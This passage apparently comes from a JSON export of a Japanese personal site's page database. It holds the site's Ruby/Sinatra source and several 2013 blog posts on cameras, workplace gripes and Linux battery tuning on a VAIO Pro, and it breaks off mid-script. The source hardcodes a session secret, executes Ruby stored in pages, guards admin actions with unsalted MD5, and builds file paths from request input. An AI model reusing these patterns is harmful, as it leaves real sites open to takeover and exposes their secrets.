str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"http://ssig33.com/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n begin\r\n cache = $memcache.get(\"site/#{CGI.escape request.path_info}\")\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n $memcache.set(\"site/#{CGI.escape request.path_info}\", for_cache, 60)\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache_path = Digest::MD5.hexdigest(cache_path).to_s\r\n begin\r\n cache = $memcache.get(cache_path)\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n $memcache.set(cache_path, for_cache, 80000)\r\n else\r\n $memcache.set(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n begin\r\n $memcache.delete Digest::MD5.hexdigest(\"site/#{CGI.escape \"/\"+CGI.unescape(params[:id])}\").to_s\r\n rescue Memcached::NotFound\r\n end\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"http://ssig33.com/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"http://ssig33.com/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"http://ssig33.com/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2013-08-07T14:05:04.000Z","updated_at":"2013-08-07T14:05:04.000Z"},{"id":2496,"name":"text/JavaScript は遅いのか","body":"%blog%\r\n\r\nHTML + JavaScript では遅いのでネイティブアプリにしましたみたいなことを言う奴が作ったネイティブアプリは大抵遅いので、バカがつくればなんでも遅い。","created_at":"2013-08-08T00:21:28.000Z","updated_at":"2013-08-08T00:21:28.000Z"},{"id":2497,"name":"text/あちら(高学歴)の世界","body":"%blog% あちら(高学歴)の世界\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e遠藤綾の結婚予測時期,2013年11月と予測していたので3ヶ月の誤差か\u003c/p\u003e\u0026mdash; 便所糞虫 (@y_benjo) \u003ca href=\"https://twitter.com/y_benjo/statuses/365493458661687298\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e修士程度の低学歴のみなさん\u003c/p\u003e\u0026mdash; fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/366031027723964416\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e声優のセックスについて多くの研究者が議論している\u003c/p\u003e\u0026mdash; fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/365481396669657088\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e高宮なすのです\u003c/p\u003e\u0026mdash; fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/365493322074169344\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e武装神姫のTBSだけあって世界陸上に金と時間を捨てる男気がある\u003c/p\u003e\u0026mdash; トントン・マクート隊員 (@pornanime) \u003ca href=\"https://twitter.com/pornanime/statuses/366177236140834817\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eプリズムショーの世界へようこそ\u003c/p\u003e\u0026mdash; トントン・マクート隊員 (@pornanime) \u003ca href=\"https://twitter.com/pornanime/statuses/366005745541591040\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e佐藤利奈のあの空で逢いましょう♪f,他のラジオに比べてメンタルなヘルスが原因で仕事をリタイアしたとか書かれたメールがよく読まれている印象がある\u003c/p\u003e\u0026mdash; 便所糞虫 (@y_benjo) \u003ca href=\"https://twitter.com/y_benjo/statuses/365107330733445122\"\u003eAugust 7, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2013-08-11T06:45:10.000Z","updated_at":"2013-08-11T06:45:10.000Z"},{"id":2498,"name":"text/あちら(高学歴)の世界","body":"%blog% あちら(高学歴)の世界\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e遠藤綾の結婚予測時期,2013年11月と予測していたので3ヶ月の誤差か\u003c/p\u003e\u0026mdash; 便所糞虫 (@y_benjo) \u003ca href=\"https://twitter.com/y_benjo/statuses/365493458661687298\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e修士程度の低学歴のみなさん\u003c/p\u003e\u0026mdash; fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/366031027723964416\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e声優のセックスについて多くの研究者が議論している\u003c/p\u003e\u0026mdash; fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/365481396669657088\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e高宮なすのです\u003c/p\u003e\u0026mdash; fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/365493322074169344\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e武装神姫のTBSだけあって世界陸上に金と時間を捨てる男気がある\u003c/p\u003e\u0026mdash; トントン・マクート隊員 (@pornanime) \u003ca href=\"https://twitter.com/pornanime/statuses/366177236140834817\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eプリズムショーの世界へようこそ\u003c/p\u003e\u0026mdash; トントン・マクート隊員 (@pornanime) \u003ca href=\"https://twitter.com/pornanime/statuses/366005745541591040\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e佐藤利奈のあの空で逢いましょう♪f,他のラジオに比べてメンタルなヘルスが原因で仕事をリタイアしたとか書かれたメールがよく読まれている印象がある\u003c/p\u003e\u0026mdash; 便所糞虫 (@y_benjo) \u003ca href=\"https://twitter.com/y_benjo/statuses/365107330733445122\"\u003eAugust 7, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2013-08-11T06:45:38.000Z","updated_at":"2013-08-11T06:45:38.000Z"},{"id":2499,"name":"text/あちら(高学歴)の世界","body":"%blog% あちら(高学歴)の世界\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e遠藤綾の結婚予測時期,2013年11月と予測していたので3ヶ月の誤差か\u003c/p\u003e— 便所糞虫 (@y_benjo) \u003ca href=\"https://twitter.com/y_benjo/statuses/365493458661687298\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e修士程度の低学歴のみなさん\u003c/p\u003e— fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/366031027723964416\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e声優のセックスについて多くの研究者が議論している\u003c/p\u003e— fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/365481396669657088\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e高宮なすのです\u003c/p\u003e— fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/365493322074169344\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e武装神姫のTBSだけあって世界陸上に金と時間を捨てる男気がある\u003c/p\u003e— トントン・マクート隊員 (@pornanime) \u003ca href=\"https://twitter.com/pornanime/statuses/366177236140834817\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eプリズムショーの世界へようこそ\u003c/p\u003e— トントン・マクート隊員 (@pornanime) \u003ca href=\"https://twitter.com/pornanime/statuses/366005745541591040\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e佐藤利奈のあの空で逢いましょう♪f,他のラジオに比べてメンタルなヘルスが原因で仕事をリタイアしたとか書かれたメールがよく読まれている印象がある\u003c/p\u003e— 便所糞虫 (@y_benjo) \u003ca href=\"https://twitter.com/y_benjo/statuses/365107330733445122\"\u003eAugust 7, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eたまゆら つまらなすぎてかえって見ないと負けという風潮\u003c/p\u003e\u0026mdash; HARUYAMA Seigo (@haruyama) \u003ca href=\"https://twitter.com/haruyama/statuses/365102652037677056\"\u003eAugust 7, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eゆゆ式見るくらいの体力しかない. 頭クラクラは完全に治った.\u003c/p\u003e\u0026mdash; utatane (@Constellation) \u003ca href=\"https://twitter.com/Constellation/statuses/366402502016503808\"\u003eAugust 11, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n修士以上は高学歴ということにしました。私は高卒です。","created_at":"2013-08-11T08:10:49.000Z","updated_at":"2013-08-11T08:10:49.000Z"},{"id":2500,"name":"text/あちら(高学歴)の世界","body":"%blog% あちら(高学歴)の世界\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e遠藤綾の結婚予測時期,2013年11月と予測していたので3ヶ月の誤差か\u003c/p\u003e— 便所糞虫 (@y_benjo) \u003ca href=\"https://twitter.com/y_benjo/statuses/365493458661687298\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e修士程度の低学歴のみなさん\u003c/p\u003e— fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/366031027723964416\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e声優のセックスについて多くの研究者が議論している\u003c/p\u003e— fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/365481396669657088\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e高宮なすのです\u003c/p\u003e— fuba (@fuba) \u003ca href=\"https://twitter.com/fuba/statuses/365493322074169344\"\u003eAugust 8, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e武装神姫のTBSだけあって世界陸上に金と時間を捨てる男気がある\u003c/p\u003e— トントン・マクート隊員 (@pornanime) \u003ca href=\"https://twitter.com/pornanime/statuses/366177236140834817\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eプリズムショーの世界へようこそ\u003c/p\u003e— トントン・マクート隊員 (@pornanime) \u003ca href=\"https://twitter.com/pornanime/statuses/366005745541591040\"\u003eAugust 10, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e佐藤利奈のあの空で逢いましょう♪f,他のラジオに比べてメンタルなヘルスが原因で仕事をリタイアしたとか書かれたメールがよく読まれている印象がある\u003c/p\u003e— 便所糞虫 (@y_benjo) \u003ca href=\"https://twitter.com/y_benjo/statuses/365107330733445122\"\u003eAugust 7, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eたまゆら つまらなすぎてかえって見ないと負けという風潮\u003c/p\u003e— HARUYAMA Seigo (@haruyama) \u003ca href=\"https://twitter.com/haruyama/statuses/365102652037677056\"\u003eAugust 7, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eゆゆ式見るくらいの体力しかない. 頭クラクラは完全に治った.\u003c/p\u003e— utatane (@Constellation) \u003ca href=\"https://twitter.com/Constellation/statuses/366402502016503808\"\u003eAugust 11, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n","created_at":"2013-08-11T08:11:39.000Z","updated_at":"2013-08-11T08:11:39.000Z"},{"id":2501,"name":"text/田舎の知能無い感じの人をなんとかできるのか?","body":"%blog%\r\n\r\nhttp://nationalgeographic.jp/nng/article/20120118/296619/\r\n\r\n無理でしょ。","created_at":"2013-08-13T02:33:13.000Z","updated_at":"2013-08-13T02:33:13.000Z"},{"id":2502,"name":"text/田舎の知能無い感じの人をなんとかできるのか?","body":"%blog%\r\n\r\n\u003e ![graph](http://nationalgeographic.jp/nng/article/20120118/296619/gra1.jpg)\r\n\r\nhttp://nationalgeographic.jp/nng/article/20120118/296619/\r\n\r\n無理でしょ。","created_at":"2013-08-13T02:36:15.000Z","updated_at":"2013-08-13T02:36:15.000Z"},{"id":2503,"name":"text/運営と技術者の距離","body":"%blog% 運営と技術者の距離を近くして開発効率を上げよう!!!\r\n\r\nみたいの結構良さそうな感じがするんですが。実際そうではないです。\r\n\r\n運営はユーザーからのクレームやサービスの問題点を大声で議論をします。エンジニアは大抵気が弱いので四六時中聞かされていると会社を辞めてしまいます。\r\n\r\nまた運営は四六時中エンジニアから「そんなこと言いますけどそれ実装するの無理です」と言われ続けますからストレスで会社を辞めてしまいます。\r\n\r\nそうして誰もいなくなる。残るのは悪意に鈍感なウスノロだけでそんな奴は使い物になりません。なので大抵の場合運営と開発はある程度物理的に距離をとってしまうほうがよいです。\r\n\r\nですがまあ距離を近くしよう的な策が取られることが多いです。これは何故かというと、「企業家」「経営者」といった連中は上記のような地獄をとおりぬけてきた人間や、それをなんとも思わないような人間だからです。その辺[こういう話](http://ssig33.com/text/%E3%83%99%E3%83%B3%E3%83%81%E3%83%A3%E3%83%BC%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6%E6%A5%B5%E3%82%81%E3%81%A6%E5%9F%BA%E6%9C%AC%E7%9A%84%E3%81%AA%E3%81%93%E3%81%A8)に近いと思います。\r\n\r\n雇われてるだけの人間は精神壊す前に逃げましょう。","created_at":"2013-08-15T16:34:12.000Z","updated_at":"2013-08-15T16:34:12.000Z"},{"id":2504,"name":"text/もしも僕が採用するなら","body":"%blog%\r\n\r\nどういうふうに選んでも結局いろいろあるんで完全ランダムに採用するのがいいと思います。","created_at":"2013-08-18T00:29:57.000Z","updated_at":"2013-08-18T00:29:57.000Z"},{"id":2505,"name":"text/RD-1 が壊れた","body":"%blog%\r\n\r\n致命的に壊れたという訳ではないんですが、ブライトフレームが出なくなりました。距離計自体は使えるので、撮影は出来ます。このカメラはサポート期間が既に終了しているので、公式の修理は使用できません。\r\n\r\n発売直後に買った記憶があるので、 9 年以上使ったことになります。デジカメとしては寿命以上に生きたといっていいのではないかと思います。 R-D1 はカタログスペックこそ現代の視点からすればお粗末ですが、画質は 2013 年の今でも全く通用する驚異的な性能です。ブライトフレームが出ないことさえ気にしなければ多分まだまだ使える気はするのですが、そろそろ新しいカメラが欲しい。\r\n\r\nどれ買ったらいいかいろいろ調べているので適当にメモしておく。\r\n\r\n### RD-1xG\r\nRD-1 の後継モデルなんですが事実上の廉価版。省略されてるのは画面の回転機構とかだけなので、まあ問題はない。 R-D1 の最大の特徴でもある画像処理エンジンの極めて高い性能も維持されている。\r\n\r\nただまあ廉価版のわりに高いのは大きな難点。新品 24 万円中古 15 万円とかそんな感じ。\r\n\r\n### Leica M\r\n総本山。 M8 のころとか散々な言われようだったけど 3 代目に至ってほぼ欠点は無くなっているっぽい。\r\n\r\n価格が欠点。世界中探して一番安いやつが送料込みで 70 万円ちょいとかだった。。。\r\n\r\n### Leica M-E\r\nM9 の廉価版。カタログスペック的には M に劣る部分がちょこちょこあるけどそう問題がある気しない。作例みる限りでは高感度での性能は M より大分低いっぽい。\r\n\r\nこいつも高い。世界中探しまわって一番安いのが 45 万円とか。\r\n\r\n### 富士フィルム X100s\r\n操作系は非常によろしい。マニュアルカメラしか殆ど使ったことない僕のような人間でもすぐ使えそう。わりかし安い。 11 万円弱とか。\r\n\r\n開放時のレンズの性能がだいぶ微妙。「味」とか言っとけばごまかせると思ってんじゃねーぞという感じする。\r\n\r\n### 富士フィルム X-Pro1\r\nレンズ変えられる X100 みたいなやつ。こっちは 18mm のレンズが結構いいっぽい。\r\n\r\n### Nikon COOLPIX A とか GR DIGITAL とかそういう単焦点の高いやつ\r\nどれも結構良さそうなんだけど、ああいう自動化されたコンパクトカメラというものを殆ど使ったことがないので、操作系を覚えるのが大変めんどくさい。そろそろ覚えたほうがいいんですかね、、、\r\n\r\nX-Pro1 か RD-1xG あたり買うのがいいんだろうけど、 M-E 買っちまうかみたいな気持ちも結構ある。","created_at":"2013-08-18T05:18:04.000Z","updated_at":"2013-08-18T05:18:04.000Z"},{"id":2506,"name":"text/インターネットっぽいイベントに行きたくない理由","body":"%blog%\r\n\r\n人多すぎて回線アレでインターネット出来なくなること多い。","created_at":"2013-08-21T08:20:52.000Z","updated_at":"2013-08-21T08:20:52.000Z"},{"id":2507,"name":"text/価格.comを便利にする","body":"%blog% 価格.comを便利にする user.js を書きました\r\n\r\n\u003cscript src=\"https://gist.github.com/ssig33/6301846.js\"\u003e\u003c/script\u003e\r\n\r\n[install to Greasemonkey or Tampermonkey or more...](https://gist.github.com/ssig33/6301846/raw/655da2463daefae1378f6ac761c1f65aa0b47c9a/rate1.only.user.js)\r\n\r\n価格.com のレビューページで満足度が 1 のものだけ表示する user.js です。満足度が 1 のレビューには頭のおかしいものや有用なレビューが多く、見ているだけで楽しめます。\r\n\r\nこんな感じになる。\r\n\r\n![konnnakannji](http://ssig33.com/gyazo/2cd9bfdd23a6334999c6911593a5068a.png)\r\n\r\nどうぞご利用ください。","created_at":"2013-08-22T00:24:58.000Z","updated_at":"2013-08-22T00:24:58.000Z"},{"id":2508,"name":"text/VAIO Pro を Linux で","body":"%blog% VAIO Pro を Linux で使う + バッテリー延命\r\n\r\n[VAIO Pro 11](http://www.sony.jp/vaio/products/VP21/) を買いました。大変に軽量でよいコンピューターだと思います。鞄に入れていても「あれ PC 持ってくるの忘れたっけ」とかなること結構あります。タッチパネル着けてないので重量は 770g でさすがに軽量です。\r\n\r\nこれまでこういうふうに持ち歩くにあたって一切負担の無い重量のコンピューターは多々あったとは思うのですが、ミドルレンジ以上の性能を持っていて作業環境として十分に使用できるものは少なかったように思います。\r\n\r\nというわけで僕は Web 系の技術者でもありますから Linux で使っていくことになります。\r\n\r\n## インストール\r\n[ここ](https://spicious.com/sony-vaio-pro-11-with-ubuntu.html)読んどけって感じなのですが、この解説も若干古くなっているので適当に書いておきます。\r\n\r\nDebian は stable が普通にインストールできます。 Ubuntu は 13.04 では駄目らしいので 13.10 の Daily Build を使うといいと思います。他のディストリビューションは知らん。\r\n\r\n後述の通りインストール時には WiFi が動かないので、ネットワーク無しでインストールできるインストーラーを用意するか USB で動く Linux でサポートされてるネットワークカードを用意する必要があります。\r\n\r\n普通にインストールできるんですが WiFi が動きません。これは [Intel の 7260](http://ark.intel.com/ja/products/75439/Intel-Dual-Band-Wireless-AC-7260) というえらく新しいチップを使っていることが原因のようです。\r\n\r\nこのチップは kernel 3.11 から Linux ではサポートされています。ですが kernel 3.11 はこれ書いてる現在ではまだ RC7 とリリースされていません。当然標準で対応しているディストリビューションとかもないです。なのでビルドする必要があります。\r\n\r\nですが Debian 系列のディストリビューションの場合、 Ubuntu 13.10 Daily Build 用のパッケージを使用できます。[ここ](http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.11-rc7-saucy/)にカーネルのパッケージ転がっているので使うと幸せになれるでしょう。\r\n\r\nファームウェアに関しては[ここ](https://spicious.com/sony-vaio-pro-11-with-ubuntu.html)に転がってますので、 /lib/firmware に入れるとよいです(ちなみにこの人めんどくさそうなブランチのカーネルをビルドしてますが今ではそんなことせずに上記のように単に 3.11 使えばいいというようになってます)。\r\n\r\nだいたいこれで動くんですが WiFi の感度が若干悪い感じがします。感度表示が悪いだけで実際にネットワーク品質が悪いかというとそうでもないのですが。それからたまにアクセスポイントを見落すことがあります。その場合も明示的にアクセスポイント名を入れれば普通に使えます(ステルスモードの AP に繋ぎにいくような感覚になる)。\r\n\r\n## バッテリー\r\nLinux 入れて使ってみれば分かるかと思いますが、大変にバッテリーの消費が激しいことになります。電池だと 4時間半 〜 5 時間半ぐらいしか駆動しません。 [Windows だと 8 時間ぐらいは駆動する](http://pc.watch.impress.co.jp/docs/column/hothot/20130708_606588.html)らしいのでこれはちょっとというかかなり残念です。\r\n\r\nですが適切に設定するとそれなりにバッテリー持つようにはなります。 [tlp](https://github.com/linrunner/TLP) という恐しく高機能な省電力化ツールがあるのですが、恐しく導入がめんどうなのと、基本的に最小消費電力設定で運用してしまって問題ないので、手動でチマチマ設定しましょう。\r\n\r\nUbuntu 日本語フォーラムの[このトピック](https://forums.ubuntulinux.jp/viewtopic.php?pid=21518)が大変に参考になります。僕は以下のようなスクリプトを作成しています。\r\n\r\n```\r\n#!/bin/sh\r\n# USB の自動サスペンド\r\nsudo sh -c \"echo 1 \u003e /sys/bus/usb/devices/usb1/power/autosuspend\"\r\nsudo sh -c \"echo 1 \u003e /sys/bus/usb/devices/usb2/power/autosuspend\"\r\nsudo sh -c \"echo 1 \u003e /sys/bus/usb/devices/usb3/power/autosuspend\"\r\n\r\n# WiFi の省電力設定\r\nsudo iw dev wlan0 set power_save on\r\n\r\n# サウンドまわりの省電力設定\r\nsudo sh -c \"echo 1 \u003e /sys/module/snd_hda_intel/parameters/power_save\"\r\nsudo sh -c \"echo 1 \u003e /dev/dsp\"\r\n\r\n# laptop mode \r\nsudo sh -c \"echo 5 \u003e /proc/sys/vm/laptop_mode\"\r\nsudo sh -c \"echo 0 \u003e /proc/sys/kernel/nmi_watchdog\"\r\n\r\nsudo sh -c \"echo 1500 \u003e /proc/sys/vm/dirty_writeback_centisecs\"\r\nsudo modprobe -r sky2\r\n\r\n# PCI 経由で繋がってるものの省電力設定\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:00.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:02.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:03.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:14.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:16.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1b.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1c.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1c.3/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1d.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1f.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1f.2/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:00:1f.3/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e 